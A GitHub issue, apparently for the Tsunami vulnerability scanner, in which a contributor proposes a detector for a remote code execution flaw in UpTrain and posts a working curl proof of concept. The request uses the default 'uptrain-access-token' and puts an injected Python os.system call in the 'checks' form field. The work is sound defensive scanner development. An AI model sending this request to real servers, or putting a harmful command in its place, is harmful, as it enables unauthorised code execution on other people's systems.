Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

AI PRP: RCE in UpTrain #573

Open
lanced00m opened this issue Dec 16, 2024 · 3 comments
Open

AI PRP: RCE in UpTrain #573

lanced00m opened this issue Dec 16, 2024 · 3 comments
Assignees
Labels
Contributor main The main issue a contributor is working on (top of the contribution queue).

Comments

@lanced00m
Copy link
Contributor

Hi
I want to start working on this RCE instead of my previous PR, I already explained why we can't write a tsunami plugin for my previous PR.

this time I already checked if we can write a plugin for the UpTrain platform and I think no issue prevents me from writing a tsunami plugin for this platform.

@tooryx Please assign this PR as my main AI PRP request.

@tooryx
Copy link
Member

tooryx commented Jan 9, 2025

Hi @lanced00m,

Could you provide more information about the vulnerability itself first?

~tooryx

@lanced00m
Copy link
Contributor Author

@tooryx We can execute system commands with a simple HTTP request like this:

curl 'http://localhost:4300/api/public/create_project' \
  -H 'Accept: */*' \
  -H 'Accept-Language: en-US,en' \
  -H 'Connection: keep-alive' \
  -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysFz2W1h9iMH4IFs9' \
  -H 'Origin: http://localhost:3000' \
  -H 'Referer: http://localhost:3000/' \
  -H 'uptrain-access-token: default_key' \
  --data-raw $'------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="model"\r\n\r\ngpt-3.5-turbo\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="project_name"\r\n\r\nasdf\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="checks"\r\n\r\n__import__(\'os\').system(\'touch /tmp/aaaaaaaaaaaa\')\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="dataset_name"\r\n\r\nasdf\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="data_file"; filename="test.jsonl"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="metadata"\r\n\r\n{"gpt-3.5-turbo":{"openai_api_key":"asdf"}}\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9--\r\n'

@tooryx tooryx added the Contributor main The main issue a contributor is working on (top of the contribution queue). label Jan 15, 2025
@tooryx
Copy link
Member

tooryx commented Jan 15, 2025

Hi @lanced00m,

You can work on this request.

~tooryx

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Contributor main The main issue a contributor is working on (top of the contribution queue).
Projects
None yet
Development

No branches or pull requests

2 participants